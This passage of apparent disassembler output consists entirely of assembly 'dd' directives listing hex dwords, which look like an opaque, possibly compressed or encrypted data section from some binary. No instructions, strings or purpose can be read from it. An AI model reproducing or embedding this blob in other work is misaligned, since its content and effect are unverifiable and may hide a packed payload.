2804C9E9h dd 32501h, 0C7858EC2h, 272176DEh, 9835BC07h, 0D57004E2h dd 0FB4DB3h, 4A71E956h, 890396B0h, 0C04E1E00h, 12F8576h dd 43C40021h, 0A0D4C833h, 977D0AC3h, 39B7F70Fh, 0B988A310h dd 5BD1D081h, 4A0F0FE7h dd 0D2A01A78h, 94DB99C7h, 48F3A72Eh, 8315380Fh, 781B43AAh dd 0D861420h, 800185Bh, 27C1D95Dh, 5004BA6h, 12AB3D6Dh dd 4C86585h, 0B1497873h, 8845C02Bh, 6D016799h, 3EC1151Dh dd 14C9DDE7h, 14722AC0h, 1429480Ah, 8911D7F0h, 0A8FC392Ch dd 9FD29932h, 0E7ED804h, 8534D28h, 1975B18h, 3B2020h, 0E7435841h dd 0D0358E1Ch, 0A50887Dh, 67015BD8h, 2089F5D6h, 2990437Fh dd 214C9B30h, 56085329h, 84249042h, 3F480C9Ch, 59581641h dd 1185F801h, 0AB111596h, 55D911EDh, 0BB20EC12h, 4BDEA4h dd 3B2F9681h, 67FB8F71h, 443B4A75h, 9BE700ABh, 0E9C56A01h dd 8CA600C2h, 3957F0BBh, 4700F906h, 121755A8h, 0C1EA9Dh dd 0C4F7DA43h, 0D2ABBDD9h, 99E1FB00h, 7D4DEED7h, 0CAB00719h dd 4376B1BBh, 0C6808391h, 6B00C92Ch, 0F959A2E6h, 0FFF4EDEh dd 7BEA89FAh, 0AE316EA0h, 0F700955Dh, 142A3E6Ah, 0F3AEEh dd 0CBDF4353h, 5EB5ECBCh, 0B45A3Fh, 0A5DAD619h, 50D59124h dd 1F93D411h, 0DE2AA0h, 5CA278A8h, 22007EF2h, 0B18D05FFh dd 1E1ED714h, 89DF24h, 1A28EB3Eh, 70053C9Fh, 0EF670D33h dd 80CF22C0h, 1C9E788Ch, 129137A3h, 3B0440F4h, 30E902CCh dd 0EA7B9700h, 3AA42B59h, 50C50FD5h, 0B820481Ch, 32ADF088h dd 56BF9000h, 931529FBh, 5B14009Dh, 0EC1E75ACh, 0B4007891h dd 8376C94h, 1C23E170h, 0C0484E9Ch, 9F2A6F42h, 10C01FEDh dd 0BD28BB3Eh, 0D7830E93h, 46057D9h, 4EBA3F80h, 0AB00FBFEh dd 4DF8DE45h, 795E29h, 1A0A2F90h, 98695FC5h, 0EB96100h dd 0E1BAA122h, 16020FE4h, 0D23FF7A8h, 1CEFA0F6h, 0BF2B193Ah dd 74D700C2h, 0C4B271BCh, 0ED10C0C1h, 0F723915Bh, 973D263Bh dd 2907B0C8h, 4640486Dh, 3DD4F5F6h, 188099EFh, 0E28A34E1h dd 6707E081h, 0D228510h, 0D7282300h, 0EAFB00AEh, 65FB89Ah dd 20C01309h, 40BF02F7h, 6F95007Fh, 0B353872Dh, 0BC92CC9Eh dd 1CE81100h, 0D165ED7h, 84AF00C6h, 7F83BAD9h, 0D20026CBh dd 9E1579ABh, 0E576B3Ah, 441AB46Ch, 3004A5E1h, 0A6B7DC8Ah dd 6941D40Fh, 0B9586052h, 73B9103h, 89B83EA9h, 6AC330D7h dd 301CA024h, 2580E0C4h, 0FC2C9D09h, 26D00057h, 0B0118035h dd 0B100BE59h, 0E8FBE0B4h, 6C844Ch, 4D125169h, 42C20DCAh dd 0FD8A6E03h, 31503Bh, 6D0A38D0h, 8D7E96B1h, 2C5B5A00h dd 0B2D77739h, 27B60076h, 0D883EECFh, 0E49A87C0h, 99EDD101h dd 0F92E5A65h, 1DDD0820h, 432F98ECh, 0CD50C476h, 98D39C8h dd 365BE800h, 8094D717h, 0E41FC01h, 5F7A741Bh, 0AF2D4B40h dd 15009135h, 102957C8h, 4D3CE0Dh, 6560AD2Ah, 0AE888017h dd 91007F68h, 4AFDF0C6h, 8229E4h, 152752C2h, 2DDF490Ah dd 0A7795300h, 8AC40C13h, 4D1100A5h, 644778FDh, 1F00D4D9h dd 0C362E745h, 0FCB9DD82h, 0A29400FFh, 8DB70F29h, 0FCA02150h dd 560191BFh, 41F493C5h, 0A940E1BEh, 24A28D6h, 0B18A3CE6h dd 0C040B883h, 7200873Fh, 44482D79h, 7042E2ACh, 0EDE90098h dd 9D7F4DE0h, 0EE003C36h, 45FF06E8h, 1257AEh, 82A99C13h dd 0CB79CDC3h, 639DF90h, 0E17613E6h, 0C1196401h, 94E8FB88h dd 0DBE51D04h, 0CC5AC2EEh, 0BCA03642h, 282F7459h, 6C99D60Eh dd 0B6545Dh, 520BBD4Ah, 50C3EC8Dh, 2579ADAh, 6E788ACh dd 9840019Fh, 9500A78Eh, 81B58E4h, 4CE1B65Ah, 0F612209Eh dd 0B1C7004Dh, 8DCADB8Ah, 0D655F224h, 0B9EC0039h, 762FADCEh dd 71DC3E3Dh, 2B8AAB30h, 7D007A9Ah, 2CC94094h, 5EE8E6Ah dd 28D2074Eh, 0F3F300E5h, 0B47024E6h, 0AC9AE900h, 9347BC81h dd 68184DB9h, 9F0D3E0Fh, 0E3308A00h, 40FEE161h, 6F043C90h dd 81D4477Ch, 0F0AB1C80h, 0B0BA4C22h, 52945D03h, 0EDC83DD0h dd 9100B7C9h, 0F9ECDEBCh, 12790CB2h, 0F841833h, 59008F08h dd 0F62F9F75h, 66CD1700h, 36D9C8B6h, 73F700FBh, 7484DC0Bh dd 0DA01A663h, 0EE354868h, 0E62001D6h, 56C90317h, 1E657612h dd 89EAD1A0h, 71459B00h, 59418697h, 80820011h, 0B55EB205h dd 0A10004DFh, 44EDAC61h, 6F1C7Eh, 59095DB3h, 0CD83B793h dd 85EE2400h, 25E7628Ah, 0C8988Ch, 0E9519FB0h, 82C8F28Bh dd 0CEC32207h, 42AE3D07h, 815B20AFh, 80A499D6h, 1C67F8h dd 0B15CDBA3h, 0CB37164Ch, 9F2E913h, 0BE5B7A00h, 9B9F764h dd 6A415ED3h, 0FD809A0Fh, 30626F9Eh, 5C9481Fh, 63236E00h dd 0FF7651h, 84574512h, 32F35502h, 1734591Ch, 0E6B64DC0h dd 0FA2E8B89h, 83FE69h, 33F63D88h, 9C123F9Eh, 6800DEB0h dd 0C66D7FD3h, 3672E2h, 0B720EE5Eh, 654943DAh, 7F11FC3Dh dd 0B134500h, 0D9ADD023h, 0B18C0032h, 0CF9ADECEh, 3101392Ah dd 958A8D7Ah, 0F8F35FFBh, 0E188969Bh, 9ACD4830h, 2472B4h dd 48740B69h, 8B3FF6FEh, 8C61EE1Ch, 59519D83h, 27ACB07Eh dd 7881EC73h, 4430006Dh, 39E0AE3Eh, 8C0E0791h, 621460AFh dd 41E790FCh, 0A060B7CFh, 1A7FC5Fh, 202E9228h, 20474351h dd 0AC27A64Ch, 169DCA9h, 0CD803B02h, 9F7948h, 656B3EBEh dd 18DD2BADh, 0EC96D6D8h, 0E2F686A3h, 35769300h, 83E73E2Dh dd 57F100DFh, 2A40123Ch, 0A50394E4h, 0FBF4D185h, 0DE91C132h dd 7CFC20h, 0CE400C31h, 0E992D2FAh, 6528B600h, 24FC025Ch dd 0C51800B0h, 95FA2F52h, 0F677F2DDh, 0A79D2A04h, 94804370h dd 0D8E2DFh, 79D0EF92h, 72D3AAB5h, 3B82A800h, 0B490150Fh dd 0D92C0006h, 8DB56667h, 1E3DC06Fh, 0BE5F0082h, 1551AD71h dd 0B6F9038Eh, 38F1BC7Ah, 0FF8236C8h, 800D3Fh, 2E982CB8h dd 330EF6h, 4969BBA7h, 0B9CFBC4Dh, 1022E300h, 85048390h dd 1D502895h, 33641EE9h, 63C5C027h, 47F288A4h, 0B7A0B503h dd 0B842814Bh, 0CD2E40h, 63937502h, 640B383Ch, 9F00ECB8h dd 5D3EA08Fh, 146CFAC3h, 0D4484F2Ah, 0CD595200h, 0A69DF5A5h dd 0F1655702h, 48582314h, 0F174940h, 37B6C070h, 60022AC7h dd 968D496h, 5AAF011Ch, 44003652h, 0C3257BAEh, 0D43850E7h dd 0B9260290h, 0EE93B61Eh, 0D6348960h, 412EED00h, 25217B07h dd 144000EBh, 535DDB8Fh, 0B200884Eh, 5FA1798Ah, 0EC0EFB4Bh dd 0AE8C035Ah, 80EB14A6h, 0FD029A77h, 86129DC0h, 527C60A4h dd 8EAD07BAh, 0A003B8F5h, 8FD2513Ch, 9F9E9402h, 63AFD714h dd 0B488851Bh, 3A28886Dh, 0FD5AE404h, 85C0FBEBh, 71B31552h dd 5F320056h, 7B838B45h, 40B0CDFCh, 801C57Eh, 8246DABEh dd 198091A7h, 45E240F8h, 3F001B76h, 0FF0C329Dh, 131F97CFh dd 0BBB0EEEh, 5820EBE4h, 2ABFC6B0h, 0BB86117h, 0FC5611B0h dd 0AC17092Bh, 9C005AF1h, 0CB7C96B0h, 0EA87A000h, 0D837E916h dd 3470F65h, 73A37B0Dh, 8000DE04h, 0FB1D3BADh, 30F450E1h dd 0F2E0839Ch, 0EE7EF36Ah, 56DFD00h, 46CC593Eh, 9F3F0024h dd 0DE8BC3Dh, 4D005027h, 0DCBAEFE4h, 1DA8B249h, 42AE6A69h dd 0F9C017Eh, 146F44C0h, 7CF0AC00h, 8B9F28B7h, 0E93100D1h dd 0A3C82F36h, 8240D0E0h, 0C1EAC6h, 0FC9A33F0h, 0C2E3ED3Ah dd 0D63D6000h, 0E7489918h, 530A0007h, 0CAC1250Bh, 4600C5F1h dd 449F7A09h, 127D9685h, 0DB4106h, 6F546616h, 1D00A683h dd 0F4B74B1Ch, 8C01Eh, 0A380339Ch, 6B2A7DDCh, 0E1943D00h dd 1DEBB603h, 0EEFD00CFh, 410FB3EAh, 2CFAF78Eh, 4400904Bh dd 2992AB71h, 6065602Bh, 0E8851C08h, 124A3005h, 28D78A04h dd 602B51B0h dd 804F0018h, 882FCDC4h, 0CC00569Dh, 8D93DFBBh, 0BF2E73h dd 8104B33Fh, 0B52C28C1h, 4127C3B0h, 7D580019h, 903F46E1h dd 0E8F900BCh, 0C3CAAC36h, 4F007779h, 6EC4D8EFh, 12889225h dd 2DEC69h, 2351A7A4h, 93009C22h, 32F0D36h, 266504Dh, 0BD55F6D3h dd 2AE0E241h, 6200D110h, 53BF7B25h, 1B1CFF8h, 354A3B6Fh dd 0F47A5520h, 0B0032E8h, 7D64E180h, 0B62273h, 1ED65B95h dd 0A98E534Fh, 78AB2700h, 0D0E81523h, 9974E3h, 3D2986BDh dd 4101F7EAh, 80603038h, 0AEB1A49Ah, 0E9BC5Eh, 700421E0h dd 5DCCBAF4h, 1B2D8301h, 0E6F9AAD4h, 66FAB540h, 0A00F0172h dd 0B6174E85h, 0AB18067h, 2F29CD78h, 0AE99CE9Bh, 0D35ABEA3h dd 87D41DB9h, 696155A0h, 5B1ABD6h, 548919E0h, 27D0143Ah dd 0B9962200h, 0D7C452A9h, 0B3240C0Eh, 6077AF17h, 0A8CF7DB7h dd 0C3E6009Bh, 7149DB65h, 9EFE7E3Ch, 411F271Dh, 285E66C0h dd 7D602h, 5068B452h, 35B87538h, 0B3108890h, 0CF000C14h dd 0F901A6A2h, 6F59EE2Fh, 8150738h, 0E870663Bh, 16FF3539h dd 36CA3F2h, 1FFB4D44h, 480028E6h, 22ADD7D5h, 0C7095h dd 0D4A3FD30h, 9A2FF511h, 26AE4E00h, 8FBB6214h, 1AC90B8h dd 0F37C9107h, 0F0FEED68h, 0FF19E792h, 472196D8h, 604F866Eh dd 81FCAE69h, 0C6DECC2Fh, 25A060CEh, 3E432856h, 21A009C8h dd 90874531h, 0DDEF9062h, 0F62CAC10h, 7D07EF3Eh, 21EF51A1h dd 65448B9h, 40845880h, 0DE68C837h, 15813450h, 4132F1F7h dd 0C9BD7BB4h, 78187475h, 0E79C4A01h, 0A9BC71ADh, 4BFC04C5h dd 9BE5072Ah, 77809DA3h, 0D76AB04Ch, 0C0037648h, 1F2BD4BEh dd 20A3C042h, 6967AB9h, 0A1091DB3h, 2E00E8C9h, 402FB4CFh dd 7204D57Ch, 254F02ADh, 6965E031h, 0E135060h, 0BBA601Ch dd 26205689h, 0A0800274h, 300F5A74h, 0EB504D2Fh, 0E71FE4EDh dd 0BD005B2Bh, 0C0902E6Ah, 398905BCh, 0D084C5D0h, 0FE318C38h dd 0BB23DD01h, 7E82FAE9h, 3445A040h, 0F99D0062h, 0AE6F2CD2h dd 4C1ADA78h, 0DD207FEFh, 6DE7F800h, 6036CFEh, 0ADEAE979h dd 9016F3CAh, 79C24807h, 8C260092h, 0CEF15E58h, 0AA012282h dd 0DD0FE4Ah, 0D1C89FFAh, 26DD0E32h, 0EB2CE8A5h, 0D9009ED0h dd 81D39AC9h, 2246Eh, 0AD4D1BE7h, 0C02DDD8Ch, 68FC5D01h dd 966427Ch, 0E1C289F2h, 0D6D458A4h, 279AB897h, 0C085920Ah dd 21C8861h, 41321500h, 1F4CED75h, 563E009Fh, 0BB660F2Ch dd 0C03F9103h, 6A9587ABh, 0C780430Dh, 0B51821Fh, 0F13F1CAAh dd 0E8805000h, 68FF2E4Ah, 50360ED4h, 9C4980B7h, 58728E1h dd 1D1B4FCAh, 8D08D005h, 3BEAE903h, 9011D004h, 0A4D00CA8h dd 0F172A0Ah, 9C420625h, 2C9D007Fh, 2FD350F5h, 23453C16h dd 0C02170C2h, 0E02DF452h, 0B2B8715Ch, 8AEE0050h, 6B98F268h dd 0F477F69Fh, 0C31C6894h, 83F81D4Eh, 0E0D5713Ah, 0A06B070h dd 0C9ADED86h, 8BBF00AFh, 5910EC66h, 80532B3Dh, 0A96F351Bh dd 1248A6h, 8E1CF94Dh, 0C4BBCF9Ch, 90C74C18h, 0B2E8B9F9h dd 17FD2D98h, 0B3F96C00h, 0BE017250h, 0F465B4D2h, 488052A0h dd 265AA516h, 0C71E1EB1h, 3AD0BD4Ch, 50ED0F77h, 27A3C67Bh dd 0A391447Ch, 54A841C8h, 3C64039h, 23094CE4h, 419B2918h dd 0D709E08h, 0C35F01C8h, 0FA176CBBh, 5DF8CC37h, 7830C62Ch dd 70459100h, 8BCA4Bh, 0B3F22238h, 0F63908D0h, 258E0B00h dd 5B62AAECh, 373F00EFh, 2D4C710Dh, 140023F0h, 26D2029Fh dd 0C97582h, 7BA5D424h, 0ED53B933h, 0BDAA7702h, 0C03D08B5h dd 991284h, 0DDB4640Dh, 332417E0h, 18045504h, 49808E08h dd 81B157h, 0EAA4F777h, 97D7FFC2h, 464B2A00h, 769B1A70h dd 0EF53013Ah, 0A783E4A1h, 0D09C6021h, 895E6000h, 6DDE31CCh dd 0EF5800B9h, 47E7093Dh, 72F093A8h, 8F881B00h, 0AFB8089Dh dd 9F2C000Ch, 970550BCh, 39006E7Dh, 3F6B1B1Dh, 18A469Ah dd 3207AB18h, 30867991h, 3800A288h, 57F4EACCh, 26FDCA7Eh dd 7CA48Ch, 0F8FF276Ah, 7B0214D3h, 75A1DEFBh, 0CDDA438Ah dd 600968B0h, 66D66023h, 0E33A044Dh, 89080011h, 2957A4EEh dd 63ED009Fh, 0C70A90A7h, 8D2EA059h, 0BC00B675h, 6FA30D8Ch dd 88AE014Ah, 1DA84F14h, 0A1A860E3h, 32872500h, 355B052Eh dd 48DA001Ah, 319C8508h, 9060E333h, 0CAB17911h, 0DB5400BBh dd 0F72E5844h, 79EB4C2Fh, 0C33306ACh, 0F0EFEBh, 2E639EB1h dd 5237D11Bh, 9487702Eh, 4E1D7A8Fh, 14FC0520h, 4C27BC91h dd 83E3E4h, 188644ADh, 2E50CE95h, 0D50000BCh, 8D095EE4h dd 8120B14h, 0A4206DEBh, 0CE045AE2h, 8A0038B4h, 86D58BB7h dd 9D50489Fh, 0A9DABE05h, 6C50D0F7h, 68F51535h, 7B407A0h dd 3820B0DCh, 3363DD6Fh, 36E6DB4Fh, 0C04785B9h, 0C200CFD1h dd 0F9B7CD50h, 30D82F13h, 5E403430h, 0C558D919h, 0D06D50F8h dd 0D0256130h, 13CAF653h, 163A07C7h, 882B0B4Ch, 9A95D4C0h dd 0CC7C0600h, 4D1C9DDDh, 22F93CAFh, 0E0BF3B80h, 0F76EEDFBh dd 0A94F1A1Fh, 0B6F6CD41h, 2430FF96h, 0B051007Dh, 3534EDECh dd 4B0C7E52h, 21845C12h, 72A100ABh, 0A645864Ch, 924DE224h dd 60062488h, 0B3507700h, 0F2D813Eh, 0BE3A4A1Ah, 0D5682780h dd 63001D0Bh, 0EAD7EBE3h, 0BF025E5h, 16A8F229h, 1BCFA000h dd 0FA00DF9Fh, 4C55A9C8h, 0E690A1h, 46BBD944h, 39913892h dd 26080549h, 0EFD1AC28h, 1F70D0h, 0F9B08008h, 0BBF3BEC9h dd 26DCD06h, 128854Bh, 7D09B48Bh, 0F471593Ch, 1D07437Ch dd 6B0CD1BEh, 2BFD01A0h, 5CFA31F9h, 40ABB030h, 66734C98h dd 158E7B00h, 98CE2D22h, 0DAFA0902h, 2E037A0Ah, 81ADBEC5h dd 31EDD31Eh, 7BDDC8D8h, 99D05D00h, 5AE0D72Ch, 343723Ch dd 4984D9C8h, 46F8EFB4h, 0CD162D89h, 1EBC2963h, 5838C100h dd 32EEFFFDh, 533EF800h, 0F0F4808Dh, 87922CD5h, 0E0C07B1h dd 7E9BFC4h, 0B160ED8Fh, 18449895h, 6189D0A0h, 0D828C50Ch dd 21A4A8h, 0FC52411Fh, 48FD3236h, 0B3E03D00h, 0AFD3BD14h dd 7E4E0FE3h, 6F80319Eh, 1C6D018Ah, 0B34C7D0Bh, 53AA02D1h dd 93BCC0C5h, 0B7B40011h, 0FF855489h, 7CF63ABEh, 0E5529409h dd 0B65800B2h, 0F3747Ah, 0AA405B85h, 2F9FA391h, 0CB8B9516h dd 46A43B06h, 24C42EA0h, 0B7D48404h, 95880BBh, 7607438Eh dd 2B413C8Fh, 0A1CF6CF0h, 7109034h, 5A3FE684h, 9B0B58A6h dd 3600607Ah, 785B012Ah, 47BAA875h, 201C24E8h, 1FAB780h dd 7771BE12h, 30E9178Ch, 760E8E24h, 60350594h, 1B849BA4h dd 6D40B40h, 0F2000472h, 98411270h, 954A4670h, 0FC7E7803h dd 0AEEBC6h, 0DC762B10h, 0C8F2CA11h, 0B90F08F0h, 0FE5774h dd 0D695EBDDh, 0A99C3ABDh, 0B0FBE180h, 0CB1AC5A6h, 0BB3E1912h dd 7DB41Ch, 0C4D92865h, 174DA88h, 2250526Ch, 200256B3h dd 0DB0BBFE8h, 69C9F8h, 376ACDC0h, 0AE7E005Ah, 0D830DF8Dh dd 9E03752Eh, 22C92308h, 8BB2B099h, 726E00DBh, 0D9B7690Ch dd 6C00E3F8h, 0F6E64B8Eh, 0A8E205BFh, 0EAA19F94h, 6A8D005Fh dd 623D8F23h, 2E796077h, 0DF97400Eh, 4E1D6043h, 0DEE5C8h dd 0D3848AAh, 0FD0A3E73h, 0CCEC2330h, 0BE699F6h, 0E5D767DDh dd 0A7B9C481h, 0CBA079EEh, 80A84DA4h, 0D7883870h, 0C9002FFAh dd 75CDCA59h, 3EC877h, 0ED3AFD4Ch, 0F10F3C0Dh, 80F40139h dd 0CAF5B662h, 314D915h, 0D80934E8h, 55B08548h, 0BC07C9A6h dd 56C4046Dh dd 8C793780h, 8F9A0097h, 0D9CA8BA9h, 0BB0038F0h, 0ADD43CF3h dd 7176B31Ah, 35EC0032h, 0F4865673h, 5009850h, 837BAF75h dd 0E9F478Ah, 376D4182h, 0B6D3C203h, 3E9B4E80h, 0D088E003h dd 0E0BC82F5h, 0D680BDh, 1302B484h, 676C4C98h, 10C662Dh dd 9AEEE8C8h, 0C5F9CDCh, 7491FF5Ch, 0C000435Ch, 2BF3C845h dd 195B07h, 8D84D70Eh, 780830C9h, 5C020B7Dh, 8134CF16h dd 5E8A02Ah, 0E51C90Fh, 2CDAA51Bh, 76B83340h, 7A0F97F2h dd 362A9AB6h, 6CEFD403h, 0AFAA804Eh, 6BBF3C86h, 247CC080h dd 0EB3E1A29h, 19416F03h, 7284ACA5h, 60D3FE20h, 68AB68A3h dd 0C832625Ch, 29811F0h, 0B024FB64h, 40965905h, 0F8502D18h dd 29F0F3AAh, 60C9173Bh, 0B7CC9528h, 34E4F20h, 96448698h dd 8929D4F8h, 58BE6C02h, 0C91E7D4Ch, 20819C44h, 53EF8613h dd 940C4084h, 0C100B7CFh, 0A7AE2CA0h, 0E85057Bh, 0D7DAFE39h dd 60712DA7h, 0A6B94FF5h, 0FE71B01h, 0F0D183CDh, 0DFD4ECh dd 0CAB5F163h, 2DE08061h, 9AFB6E1Fh, 3FCB8540h, 1A6DDBh dd 0F2475DDEh, 0B1FC2D9Dh, 1100A5F2h, 4258EB12h, 3A394F55h dd 0B880CC65h, 0AAA9E35Eh, 8D07F31Eh, 0B4922F45h, 0ABE1A0EEh dd 5B5810h, 942D5F33h, 74016095h, 0FC237B1Ch, 4BD28C3Bh dd 45FA79h, 5D330ABAh, 0FF7884E8h, 94F64001h, 4375AC6Fh dd 3A0526F4h, 99002E1Ch, 5B9A461Bh, 61032893h, 0DD4AA0E2h dd 0C91EF02Bh, 154400CBh, 846338E1h, 0C00CC3Dh, 0A7435971h dd 976ECD9Fh, 0AC4B2084h, 422E0138h, 0FA0C8963h, 0F5DFE8h dd 0C7F6AC6Dh, 1439A8DDh, 0B70BBF01h, 0D57F9C0Dh, 0AA54033Ah dd 0BAA07381h, 998F3A7h, 711D04A1h, 2031B189h, 0B9046037h dd 0CC8A02B4h, 200DFD0Eh, 0B07DA430h, 5CA0A803h, 34F0931Eh dd 0C021FF08h, 0E8F27D6Fh, 5DCC3B00h, 0D1445B01h, 0C969609Fh dd 96238D4h, 1030CD60h, 1541BB2h, 0B9253458h, 98FD530Ch dd 0F7216108h, 87540E13h, 6EA3F523h, 1D0964Bh, 88A94353h dd 0ACB7F83Fh, 0E711B8C1h, 0D0811D7Ch, 5A421526h, 58298E3Eh dd 0C7A560B0h, 33B62DC8h, 5708D8BFh, 0CBFE211Ch, 1B83C4C0h dd 0B0CAEA7Ah, 30227C1Bh, 0D0B82A79h, 0A8A9E17Fh, 0DCFDEC35h dd 0EBE61200h, 2F1306A3h, 8F0D00BAh, 914F58E4h, 49008E85h dd 0FB0E22C5h, 19A1277h, 0FA08C116h, 0D03A1CB8h, 420CC54Eh dd 9C930BB1h, 0A3C01973h, 801708B6h, 0AC8E021h, 18024624h dd 19161C6Eh, 9001ACA8h, 0BD609699h, 0AFF46D5Ah, 0C8E603A1h dd 0FBA5BF24h, 0B2222803h, 213D77h, 0B9C37839h, 0F5951C7Eh dd 9D5B470Ah, 215E4C14h, 9F80FB5Fh, 5AD1B2Bh, 33550077h dd 4513DD60h, 9A0C0315h, 51A7BE44h, 69950622h, 11DFAEBDh dd 0C77C12E8h, 0A0BE20C5h, 903B1400h, 0AB02D2C4h, 8E2EE0A0h dd 0F1B3037Bh, 0CFF74480h, 0C62B091Bh, 7B94F820h, 2AC75CCh dd 23601885h, 0FCC05E65h, 59C0F5A2h, 78A66E01h, 0C4E8E159h dd 2368189Ah, 0E73F7929h, 6F03D3F0h, 635F5DCBh, 0ACA6B004h dd 0C248A532h, 2818C47Dh, 69870389h, 27051C0Fh, 2080F010h dd 132411h, 6D9C10EEh, 0B78DD2h, 3A8E3365h, 65B4195h, 10C2FD16h dd 7731B10Fh, 0C338D200h, 0E89BB636h, 9F420640h, 7813F39Dh dd 0A8E53B2Ah, 3A29C500h, 0ABAFCCA2h, 3E410074h, 0F1673763h dd 39E2B7E0h, 0D14F5230h, 74A9BD11h, 917BEEFBh, 751F021Ch dd 3B203D41h, 0C0DC170Eh, 608AB661h, 1B007FA1h, 98ADE0A3h dd 0EBB22Fh, 0D80EFF88h, 0A61337F8h, 9324FCE0h, 4E05E2EDh dd 0F4240322h, 0FDE0043Eh, 10C3C345h, 928BB17h, 83B29D18h dd 208BF001h, 82026024h, 72A40B00h, 5D061711h, 9D450CF4h dd 642980E5h, 782540h, 0F23CD18Ah, 409058EAh, 43EE9B07h dd 0B30448B4h, 0E4ABDD80h, 0CCA902BAh, 58F83F98h, 8B6EC840h dd 0E3264Ch, 0B294D911h, 0FDDCAFh, 0C4FB1D6h, 93260F5Ch dd 0FF3F7BB0h, 0EF390070h, 0AC6BC03Dh, 337A005Bh, 1AA3BF64h dd 4173245h, 4E00536Ch, 70BDBC61h, 0EB2602C8h, 0D10B6BE4h dd 36BEAFE0h, 0D50C4E00h, 0FCA9EC83h, 0B8B03BDCh, 8FB3CC9Dh dd 2480AE3Bh, 0EEB1A4C1h, 4BBD0601h, 0A2979670h, 48BA28F4h dd 9F2EADAAh, 26400029h, 877A2E09h, 3F7DAE00h, 6FC32C77h dd 6698006Dh, 9E79A13Bh, 0AB010565h, 84AEA8E5h, 806F0FD1h dd 85425549h, 0AC886A00h, 5B5C79B6h, 68465C51h, 3AE78A01h dd 0E8A9AF1Dh, 0F13C9573h, 4D318FF3h, 6441C06Dh, 530024Bh dd 0B904619Dh, 699C0E89h, 803E74AEh, 8110493Dh, 6A006CCBh dd 0C6AB0ACAh, 87B4D8h, 0F04F3FE3h, 0F6117054h, 5A00C3EAh dd 81CC7DFEh, 1FA74436h, 1E9628A2h, 20018092h, 0DF2B55FDh dd 53324600h, 1DE5B221h, 1356FC7Dh, 4C8750B8h, 0F2501E10h dd 39B9C400h, 56BD2F7h, 0F670083h, 868075CEh, 933BC2CCh dd 0F9BF8066h, 0F0AE5592h, 0AA190724h, 70566370h, 0F3C87195h dd 22AC2A00h, 2DB5187Ch, 6E9D0934h, 680048A9h, 0A0375FE3h dd 69FD4733h, 0A0E79B7Dh, 3ABC62CDh, 3D00227Fh, 0A97310D7h dd 3C0F2E38h, 4037F14Fh, 3BA6CFB0h, 0D4EA92h, 7C1E5922h dd 0E215BD30h, 3630F6EEh, 567A59C8h, 350C00FEh, 0CFD09F6Ch dd 30C058EEh, 0C13FEAF5h, 0BBA00192h, 0FF5F2683h, 623980D0h dd 38275D6Eh, 94EF01B2h, 3C83C873h, 0D457C84Bh, 860F000h dd 1EB1FCCDh, 80107A3Eh, 9D1CB022h, 5FC09E44h, 8DE29358h dd 1CF4704Eh, 42BC0Bh, 4181943Ah, 5800EF52h, 5D0A6AC8h dd 776E8232h, 69B003Fh, 8189DB2Eh, 0E874277Bh, 11E47C00h dd 5F51E978h, 0E7E1389Eh, 87C9B380h, 2572035Ah, 8617B00h dd 855B7D8Fh, 1898CBh, 56599DACh, 0F02A9545h, 9AAA0A0h dd 0C0247EEEh, 1B81102Dh, 0C510FF90h, 97FCC8EFh, 6D290053h dd 9104ADF7h, 0CDF4F639h, 84EC9048h, 188817EAh, 0C14B2423h dd 0B027C738h, 339C212Bh, 98FAFE0Bh, 56542080h, 0F575E9Eh dd 6268B24Fh, 0A5E23058h, 58002878h, 24094344h, 3E09E71h dd 0ECB16193h, 19C88F80h, 6A008795h, 0CFBF7B7Ch, 2C6288h dd 2BACF850h, 611360B6h, 0F068DF13h, 95E09C40h, 12FBC6D2h dd 40A4FFC1h, 92422E20h, 549815B1h, 6E07F5F6h, 5702B2DEh dd 9F77570h, 0FE9F00EDh, 0F8D06332h, 0F10C3F0Eh, 0B021D2B8h dd 0C286033Dh, 65E5DEE4h, 569E0BE8h, 0FED91800h, 19707F23h dd 345E485Dh, 247CD24Ch, 44E40C22h, 64708086h, 0DCEBCC09h dd 480EBA84h, 0A53A3911h, 0D45F984Eh, 2476AA00h, 0B38E55h dd 35445E03h, 93BC598Ah, 0B3FF1324h, 0EF95482Ch, 9231A0ACh dd 470A0CADh, 6EE06B1Fh, 904FC229h, 0E401C04Fh, 546298A7h dd 134E413h, 32F161EFh, 48813D1Bh, 920068C8h, 7AF7D259h dd 19EA59Dh, 0E4D8B426h, 30230D30h, 9EAC328h, 0D32EAF0Ch dd 0EA51F4h, 0FB6C6374h, 9ADECC8Ch, 80C5563Fh, 7B495F46h dd 0D730B7h, 1707C669h, 0F094E803h, 57AC2316h, 835DF403h dd 685C905Eh, 501C132Eh, 0B19021FAh, 0C23420DDh, 125BE209h dd 3750300Fh, 1C6905D6h, 92FDE389h, 346C8DACh, 616FB415h dd 0A407019Ch, 0C3AADDE8h, 680B1C23h, 0A8004270h, 0D5F0A1F4h dd 51866604h, 0E883B093h, 6D290083h, 97C16F89h, 0B003013h dd 4FDAC4A5h, 92B720FFh, 0A4705184h, 0F1DDC0h, 7ED0ED8Ah dd 18DC1617h, 0F04D600h, 1214119Ch, 392E002Ch, 90562FA0h dd 2C924435h dd 0F7CAB800h, 0EB1678C1h, 0D1650319h, 84902886h, 1D89EEC0h dd 3A1A6B00h, 48410564h, 6175395Bh, 0AD80E04Dh, 5160DA79h dd 0D9A40B50h, 0A8DF0C00h, 0A4C7C55Eh, 1AD402D5h, 0F8AF5BB9h dd 0F8644C49h, 520C1D2Bh, 0A0BAF52Ah, 0C74701A8h, 0EC15A96h dd 9422C2h, 0CA148A9Fh, 791C76h, 0F7E3BA02h, 0B3B9C80Dh dd 0E5CCA418h, 0F0674212h, 95F83Ah, 4F0AB045h, 845DA686h dd 70037890h, 8F2DCB16h, 9870D791h, 8D7232h, 6685EC3Dh dd 5551B4B9h, 13E3B38h, 5E0796E8h, 0D861BCC8h, 43A260D2h dd 648A006Ch, 7AB93D76h, 0DD00DA5Ch, 48D171D0h, 0C4092h dd 38B8D5FBh, 0DA19CD50h, 628D7907h, 0D4672364h, 5C80D3E1h dd 28135828h, 0B68C0038h, 509FAA33h, 30CEF32Ch, 0CB414840h dd 8FD200C3h, 0AF9BC668h, 121C76D6h, 0E59D6361h, 67B65240h dd 0B887533Fh, 0E3E40024h, 310CFADAh, 0E5006B50h, 0CF2296F5h dd 0B5CA43h, 0E06A7012h, 30641B89h, 25272F00h, 0ECBA0963h dd 0B805006Ch, 2EC9E608h, 0D6005D6Dh, 0C555FE86h, 3C2204DCh dd 0E30923F1h, 442287D3h, 10C49E4Fh, 50F14220h, 24A7E2C2h dd 80DC2578h, 7B27C813h, 3A01AF2Dh, 44062656h, 